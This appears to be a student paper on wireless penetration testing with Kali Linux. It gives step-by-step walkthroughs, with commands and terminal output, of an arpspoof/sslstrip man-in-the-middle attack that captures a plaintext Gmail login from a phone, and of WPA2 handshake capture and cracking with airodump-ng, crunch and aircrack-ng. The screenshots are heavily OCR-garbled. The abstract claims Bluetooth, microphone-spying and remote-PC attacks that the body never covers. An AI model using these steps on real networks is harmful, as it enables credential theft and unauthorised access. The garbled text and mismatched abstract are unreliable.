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Abstract — Penetration testing helps to secure networks, and highlights the security issues. In this thesis investigate different
aspects of penetration testing including tools, attack methodologies, and defence strategies. More specifically, we performed
different penetration tests using a private networks, devices, and virtualized systems and tools. We predominately used tools within
the Kali Linux suite. The attacks we performed included: Smartphone penetration testing, hacking phones Bluetooth, traffic
sniffing, hacking WPA Protected Wi-Fi, Man-in-the-Middle attack, spying (accessing a PC microphone), hacking phones
Bluetooth, and hacking remote PC via IP and open ports using advanced port scanner. The results are then summarized and
discussed. The thesis also outlined the detailed steps and methods while conducting these attacks.
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l. INTRODUCTION

Wireless Local Area Network (WLAN) has change the way Internet is used in the world today. Wireless
technology can be seen in every aspect of human life-Education, Business, Transport, and Communication etc. There has
been a great demand for wireless access around the world nowadays; this result in its demand far exceeding the
technology thereby resulting in an unsolved security issues. Since the WLAN has been integrated into virtually all
devices around; PDA, desktop computers, laptops, notebooks, smart phones, palm tops, and other small devices. The idea
of wireless network brings to mind lot of ways of attacking and penetrating a network compared to the traditionally wired
network. Because wireless typically extends beyond walls and boundaries, it has become prone to attacks. Wireless
technology is deploying around in places like Schools, Office buildings, Airport, Parks, Hotels, coffee shops, etc. An
attacker could launch an attack to an unsuspecting client. The security challenge of WLAN makes it necessary to perform
a series of penetration test on a WLAN to actualize the dangers posed on using a WLAN by a client.

I DIFFERENT TYPES OF WIRELESS ATTACK
2.1 Man-In-The-Middle (MITM) Attack

The man-in-the-middle attack (often abbreviated MITM, MitM, MIM, MiM, MITMA) in cryptography and
computer security is a form of active eavesdropping in which the attacker makes independent connections with the
victims and relays messages between them, making them believe that they are talking directly to each other over a private
connection, when in fact the entire conversation is controlled by the attacker.

MITM attacks are relatively uncommon in the wired Internet, since there are very few places where an attacker
can insert itself between two communicating terminals and remain undetected. For wireless links, however, the situation
is quite different. Unless proper security is maintained on wireless last hop links, it can be fairly easy for an attacker to
insert itself, depending on the nature of the wireless link layer protocol.Man-in-the-middle attacks can be active or
passive. In a passive attack, the attacker captures the data that is being transmitted, records it, and then sends it on to the
original recipient without his presence being detected. In an active attack, the contents are intercepted and altered before
they are sent on to the recipient.

The MIM attack allows the intruder or the unauthorized party to snoop on data through the backdoor. This
intervention is also being used by companies to pry upon their employees and for adware. For example, in early 2015, it
was discovered that Lenovo computers came preinstalled with adware called Superfish that injects advertising on
browsers such as Google Chrome and Internet Explorer. Superfish installs a self-generated root certificate into the
Windows certificate store and then resigns all SSL certificates presented by HTTPS sites with its own certificate. This
could allow hackers to potentially steal sensitive data like banking credentials or to spy on the users” activities[1].

Cryptographic protocols designed to provide communications security over a computer network are a part of
Transport Layer Security (TLS). These protocols use X.509 which is an ITU-T standard that specifies standard formats
for public key certificates, certificate revocation lists, attribute certificates, and a certification path validation
algorithm[3]. Google and Mozilla recently announced that they would stop accepting certificates issue by CNNIC (China
Internet Network Information Center)[4].
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All systems that are secure against MITM attacks provide some method of authentication for messages. [5],[6]
Most require an exchange of information (such as public keys) in addition to the message over a secure channel. [7]-[8].
Traditional techniques of cryptography[9] that use random sequences are one way to deal with these issues at the level of
signal integrity[10]-[14]. Backdoor entry, of which MIM is one, can be used by good and bad actors. One way to avoid
certain MIM attacks is the implementation of the double lock protocol but it was observed that this method was not
successful because the man in the middle attack was still persistent inside the network[15].

Man-in-the-middle attacks can be accomplished using a variety of methods. In fact, any person who has access
to network packets as they travel between two hosts can accomplish these attacks:

ARP poisoning: ARP poisoning is a technique used to corrupt a host’s ARP table, allowing the hacker to redirect traffic
to the attacking machine. The attack can only be carried out when the attacker is connected to the same local network as
the target machines.

ICMP redirects: Using ICMP redirect packets, an attacker could instruct a router to forward packets destined for the
victim through the attacker’s own machine. The attacker can then monitor or modify the packets before they are sent to
their destination.

DNS poisoning: An attacker redirects victim traffic by compromising the victim’s DNS cache with incorrect hostname-
to-1P address mappings.

2.2 WEP/WPA/WPA2 Cracking

Wireless Equivalent Privacy or WEP as it's commonly referred to, has been around since 1999 and is an older
security standard that was used to secure wireless networks. In 2003, WEP was replaced by WPA and later by WPAZ2.
Due to having more secure protocols available, WEP encryption is rarely used. WPA and WPA 2 is the newest encryption
for wireless devices, as far as cracking them they are the same so we will use WPA from here on.

A dictionary attack is one of the easiest to understand but the least likely to find a password. This is often the
last resort because while it does work it depends on the dictionary used and the computing power. Basically a data
capture of the router is captured wirelessly when someone logs into the router. Then a dictionary file with a bunch of
names and combination of names/numbers is used to throw at the data capture until the password is found.

If someone knows the person then they may be able to guess the password but otherwise this can take a long
time and never find anything. If you are stuck using this method, thinking about how the password might be structured
will be crucial along with computing power. The data capture could be copied between multiple computers to split the
things up. A to F on one, G to Z on another. Cloud computing might be an option to harness someone else computing
power and so on.

There are other ways such as Rainbow Tables, or the video card attack, but the simplest or easiest way to crack
WHPA is to use Brute Force. The way this works basically is that there is a large dictionary that you use to throw as many
combinations of words as possible at the WPA encryption until it cracks. If the password is easy then it will find it quick,
if it is a long paraphrase with many different number letter combinations then it will be much harder.

1. IMPLEMENTATION OF VARIOUS ATTACKS
3.1 Man-In-The-Middle (MITM) Attack

Scenario:

Victim IP address: 192.168.43.244
Attacker network interface: wlan0
Router IP address: 192.168.43.1
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Fig 1: MITM scenario

First of all, we have to configure our Kali Linux machine to allow packet forwarding, because act as man in the
middle attacker, Kali Linux must act as router between “real router” and the victim. Then we finding out ip addresses of
victim and router using route and nmap as shown in Fig 2.

root@Skynet: ~ e 0 root@Skynet: ~ (- IO -]
File Edit View Search Terminal Help File Edit View Search Terminal Help

:~# route -n :~# nmap -sP 192.168.43.1/24
Kernel IP routing table

Destination Gateway Genmask Flags Metric Ref Use Iface i . < - .03. g
0.0.0.0 192.168.43.1 > 0.0.0.0 UG 600 0 9 wlan@ ﬁ;g;tégg"""r‘ggoﬁd‘?oﬁ '{;;piég/g’;a‘{""g ) at 2617-63-28 12:39 EDT

192.168443.(;) b IO.U.UA-J 255.255.255.0 U 660 (] 0 wlan@ Host is up (0.0034s latency).

MAC Address: 7C:1D:D9:3E:BD:36 (Xiaomi Communications)

Nmap scan report for android-83ee6c230ca7b500 (192.168.43.85)

Host is up (0.014s latency).

MAC Address: (€8:25:E1:25:67:69 (Lemobile Information.Techooloay (Beijing))
Nmap scan report for android-7cda89abl7eb8dce((192.168.43.244)

Host is up (0.0089s latency).

MAC Address: AC:38:70:A7:91:B8 (Lenovo Mobile Communicaticdn Technology)
Nmap scan report for Skynet (192.168.43.96)
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.71 s®conds
i#

Fig 2: Routing table and nmap scanning

The next step is setting up arpspoof between victim and router. After this, all the packet sent or received by
victim should be going through attacker machine. Next step is to route traffic inbound to Kali to the port that SSLStip
will be running on, which is port 8080 (this port is user defined). Now we will start SSLStrip and write the results to a
file we specify as shown in Fig 3. We are now collecting the internet traffic for websites our target visits and decrypting
the HTTPS traffic on the fly while saving the results to a file for review later. To show this file in real-time we use tail.

root@Skynet: ~ @ ® O

File Edit View Search Terminal Help
:~# sslstrip -k -1 8080 -w /root/Desktop/sslstriplog.log

sslstrip 0.9 by Moxie Marlinspike running...

Fig 3: Creating log file using SSLStrip
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Fig 4: Browsing in victim’s mobile

Fig 4 shows browsing screen of victim’s mobile and victim is trying to sign in on gmail.com with mail id
“deep.joshi4393” and password “XXXXXDEEP HACKXXXXX” in its browser. As shown in the Fig 5, Man-In-The-
Middle captures this browsing data using sslstrip and tail on his linux system.

root@Skynet: ~ (- 0‘

File Edit View Search Terminal Help

acLP7bylWFt21ejneN5i81 rLKleg rRF3XFKmmJHdO7UUp8hvSr-4Dx5yX8NOfUch50q18zR8sk0TFYNCTDEojH KQeCC4c3bFFHy
1c2R-X4wbLbhbHaSxgZ4SmxbHIipb06NOK1mIMINoU-W46RXODS1rSclkjERA61I7Nv1Z4T1i fXQHWKWVV1KR-nLIFLSEI1Ijko242w|
70 wOD3gR9M2I8v-h34tbDINJIFMANXMHNzVU2R VCS2A4VDXKggUhvMoY-KBjX19U21ITcvg-s2DwCW3 rvn5KDwc9gY6DAwgKSLLX
0d31g2DN6nMlubLePqw4q2NHtigMbbOpK21Iphcpa pjJhcqlDl-zf3cK7EGUQe2g2Rx5V7PAyudV RESDwLZ7EVLOfvyXE20e6B9M
02TPwB8s1mBgL21iWs0sI9AMQP1BxpeDpASwaH4A8G61VRhX ab6W1TM3fgUnmDrivOyJK8BAOrEYozmKvEOPz1CsnRNkjpHdolrGq
8R23_hLbDMkA22TRypGWLrGpfUMFFVN©23r49EP8eVBhTp3Kh2Rf3 c2RbSRPR2r3Igennj9wqCAglaRD6az1CIgEYLKYzH2st8Uhr
Db99UcQ800xq878IWUIpho6n RdlaXtVaWKMpN1LtpnURXogkFsb1Ja@tM1lcV-1fPScp8EoIdR7002wzUKF2xE9QMI-KUVozg7sRIn
s-P5cBrGzRIvrMq7gc1TICZQmVakTmL2810NUCEATpDELOX7TQkCgqlZYHMLuNIOg51fOAMR At80QjKLWOtcf2FjITTxwdVRH63qy
Q0wQUqeFPzBlal jCm0zLgxC6LKUV8phLOp-mD58FAIN7DvQqZ6ciX4fOXmZen]fbm-0EZi0-1LUainsubWBwvirq0CeNTTlJalEfL
zsZkqYaX1UvvFeLONS5xR321eJDhUp8KWI26DF7a755XEEocLLXY g VvpxRI3UTtD7ftW2Hgn Wk4o5mBOxpzKcAFD8311HenpCKt
yguWJ411UySvnerysqxMeFpesdBosc-b9MLh3PNTn7xH J4pNkIzgfDAbVXtgohotragsec3p3nbY2TKx-ZvFkTzelp04DsMYcmaD-
XYbd6-69yRvNGQ8wQh 72VdqJyXE1PLqCycgQ2eDojt2fGhpnRiijHWAQKCAIZBO1LIL7xHO0JyD773sWs KBHVVFXjiQm CKHi9IRU
TUXvXkKV1GOuSmhbS ituKYbappV039VzotGNFyacRXaC6aXT2d EwoPs8]rjQguT-bJCdt1FXSHnws3rA09GHGonKWbFzkKDVSEPj
cKkudYaGKqip2Vi AF8fWQjhMO-3VL sK6iA4zqdjHdAmhrElbS40d21Nw0jGjHOoecSeS5v 0t2npidq647Urko0F2 iOPrwPyBN
4wUSZnM0aj4bIzS20TFqGSc5zYPUcmMzhtHKQTOZzKImAShoGps1DL-d1T19M-UoDDH-yppoYQwgZxNeTvFarEugWDKmmD4VhoQzEIC
WQJIYdcbrFZvFddj8k8LIXHBYgzXGaDCVKW3mpcDHR fMW3KhILVuiUP2 XGxhjOiRXqFs oadJFYe76806Hy2J]jzHNZ1wG6UXfmdR
D3DClc7TILXpEGEbtjn9qLODVRpcb-2J1 c107S0i8pLMcSk81juYYOxtRiGdLuAZ2ZHnZ9169FURDFQ4CXEVQVIDKkvir SxrIRu6
sFNhsQLHL8mg5JwXs1ga7R8UFVBsw300BDOmMxZ3R4RYx21s0KRxvXyCcewwlIsfbDx7W6DZolnwyI9BwluUoy3 qKPhaWpjHJIs6JWX
xFAN7GOGGXU - kE3qJzUEA820t6I11z0r18T1V3fq AokV3oWYyqlDTkV30Onk6dwzRFuslLgx52uX1K-v6bDdk0zQ28StFLcm4Zeikd
aQ0240iUtz6PquijhEYMLFy7mw8ahdbok6 hRzp6yjDf9Kqljc2jpAaSuS5ayMFoI6mK4Nm4GTaNEFc42Q2tUyCe20knofyBWKaDhHw|
fgMfZN961681i oh7ZjraNUtIPWfTKBFfLUXD5kwNA8XZEh-31-eyqlLHuxfzW8V6vfAjCVFMCITo9j WvLjMbHtAwIvU6qqjLI1AW-h
CDXaHBQx7VL9kf66BTb51W2FNFMongjB4UQtMmez9Qamplta® PFYg7PbPUnkDX- fCrOMAIq8wkzhutOAwyHtNvIgMZzGJiVbMQRK-
RSSITyIUM4X-VspH8PQBFE7hSpLnI9fBUGNZZstHkNwghvrqyodM0S7ovRCB xQiuxpYmOyNSVKWiPprPGf1Pv3BjjcTUe0QbU87X3
ZEny-Hmd85axKHxWhCeuMtB-wur7HgeunBFxIJ rmHAv fKWmFGTeeqyméhSVrBIDY YNy NaGSaS TasAistxébnxryf8h IJdFNw7tU
d UWjxxadOmloNNjHSHF kTplRzgapxoxVmHYA&Email=deep.joshi4393¢:Passwd=XXXXXDEEP HACKXXXXX&signIn=Sign+in&
PersistentCookie=yes

Fig 5: Capturing log in sslstrip and viewing in tail

We can also use driftnet to monitor all victim image traffic. Driftnet is a program which listens to network
traffic and picks out images from TCP streams it observes. To run driftnet, we just run command

“driftnet-i eth0”

When victim browse a website with image, driftnet will capture all image traffic.
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3.2 WEP/WPA/WPA2 Cracking

First, we put the adapter into monitor mode by command “airmon-ng start wlan0 . To see what router or access
point (AP) are out there so we run the command “airodump-ngwlanOmon ”.

root@Skynet: ~ @ ® 0
File Edit View Search Terminal Help

CH 7 ][ Elapsed: 36 s ][ 2017-03-27 20:22
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
C4:6E:1F:CO:5E: -33 52 54e. WPA2 CCMP  PSK TP-LINK POCKET 3020 C

DC:1A:Gh:3C:B3 -82 37
F4:F2:6D:68:31: -88 28

54e. WPA2 CCMP  PSK vivo Y51L
54e. WPA2 CCMP  PSK Prakash Vithalpara

6

64:B3:10:8F:14: -41 80 11 54e WPA2 CCMP PSK Samsung galaxy tab 2
6
7

BSSID STATION Rate Lost Frames Probe

64:B3:10:8F:14: AC:38:70:A7:91:B8 Oe- Oe

64:B3:10:8F:14: 3C:CB:7C:CC:CE:93 le- 6

DC:1A:C5:3C:B3: C4:62:EA:00:F8:CB 0 - le vivo Y51L
F4:F2:6D:68:31: CO:EE:FB:EC:9C:26 0 - le Prakash Vithalpara

Fig 6: Showing information about AP

A picture as shown in Fig 6 should come up and show all the AP out there. Here we have to target the AP we
want and copy the BSSID. Now we want to leave the original terminal alone and move to the second terminal. Here we
are going to setup the adapter to do a data capture on the AP point we selected. After we do this we will have to wait for
a wireless device to connect to the router and it will do a data capture. To do this we do the following command.

airodump-ng -c <channel> -w <Our file name> --bssid<bssid of AP>wlanOmon

At this point we could simply wait for someone to connect wirelessly to the router. The second terminal will pop
up and say WPA Handshake in the upper right when someone connects to the router as shown in Fig 7. There is a way to
speed this up if we know someone has a wireless device connected to the router by de-authenticating them or kicking
them forcing them to reconnect by De-authentication attack[2].

root@Skynet: ~ @ ® 0
File Edit View Search Terminal Help

CH 4 ][ Elapsed: 8 mins ][ 2017-03-27 20:30 ][{WPA handshake:) 64:B3:10:8F:14:60

BSSID PWR Beacons #Data, MB  ENC CIPHER AUTH ESSID
64:B3:10:8F:14:60 0 2011 168 54e WPA2 CCMP  PSK Samsung galaxy tab 2
C4:6E:1F:CO:5E:90 -40 628 4 54e. WPA2 CCMP  PSK TP-LINK POCKET 3020 C
DC:1A:C5:3C:B3:8F -86 325 0 54e. WPA2 CCMP PSK vivo Y5IL
F4:F2:6D:68:31:C4 -88 136 0 54e. WPA2 CCMP  PSK Prakash Vithalpara

BSSID STATION PWR  Rate Lost Frames Probe

64:B3:10:8F:14:60 3C:CB:7C:CC:CE:93 -37 le- 1 0 43
(not associated) CC:B1:1A:35:8C:B3 -89 0 -1 0 34 jai srikrishna,ADYYZ29k
C4:6E:1F:CO:5E:90 AC:38:70:A7:91:B8 -30 le- 1 0 250 Elite Plus

Fig 7: WPA handshake
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We already have a WPA handshake file and the default storage for a WPA handshake is under /root. The
dictionary that we will use is built into Kali linux. Kali linux has built into it a tool called “crunch” that enables us to
create a custom password cracking wordlist that we can use with such tools like Hashcat, Cain and Abel, John the Ripper,
Aircrack-ng, and others. This custom wordlist might be able to save us hours or days in password cracking if we can craft
it properly. To do this we do the following command.

crunch<min><max><characterset> -t <pattern> -0 <output filename>

root@Skynet: ~ @ ®® 0

File Edit View Search Terminal Help

:~# crunch 8 8 12345678 -o /root/wordlist.txt
Crunch will now generate the following amount of data: 150994944 bytes

Crunch will now generate the following number of lines: 16777216

crunch: 100% completed generating output
~# 1

Fig 8: Creating wordlist using crunch
We are using aircrack to do the cracking and the command to do this is:
aircrack-ng<file name> -w<dictionary location>

Where the file name is the handshake file we captured and the dictionary location is the path to our dictionary.

root@Skynet: ~ @ 0 O

File Edit View Search Terminal Help
Aircrack-ng 1.2 rc4
[00:03:21] 342384/17126676 keys tested (1724.39 k/s)
Time left: 2 hours, 42 minutes, 15 seconds

KEY FOUND! [ 12345678 ]

Master Key - 7E
46

Transient Key

EAPOL HMAC
e |

Fig 9: Cracking wep/wpa/wpa2 password

If we didn’t get enough data, aircrack will fail and tell you to try again with more. If it succeeds, it will look like
picture as shown in Fig 9. The WEP/WPA/WPA2 key appears next to “KEY FOUND!”
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IV. CONCLUSION
With the awareness of Kali Linux or other linux distribution like Backtrack, Backbox and the knowledge of

building the environment required for particular attack would be a big trouble for wireless security. We can break WPA
or WPA2 password security of any access point using brute-force dictionary attack. Sometimes Brute-force attack can
take much time but there are many server available those are working continue for many years without shutting down.
After breaking password security, someone can easily implement Man-In-The-Middle attack and theft data of victim
without authentication. There are many open access point available and provide internal security like Cyberoam. In such
cases, MITM can be implemented without log in into an internal security. So access point must have the protocol to
defend again any change in the Address Resolution Protocol (ARP) and must inform to connected client if such events
trigger.
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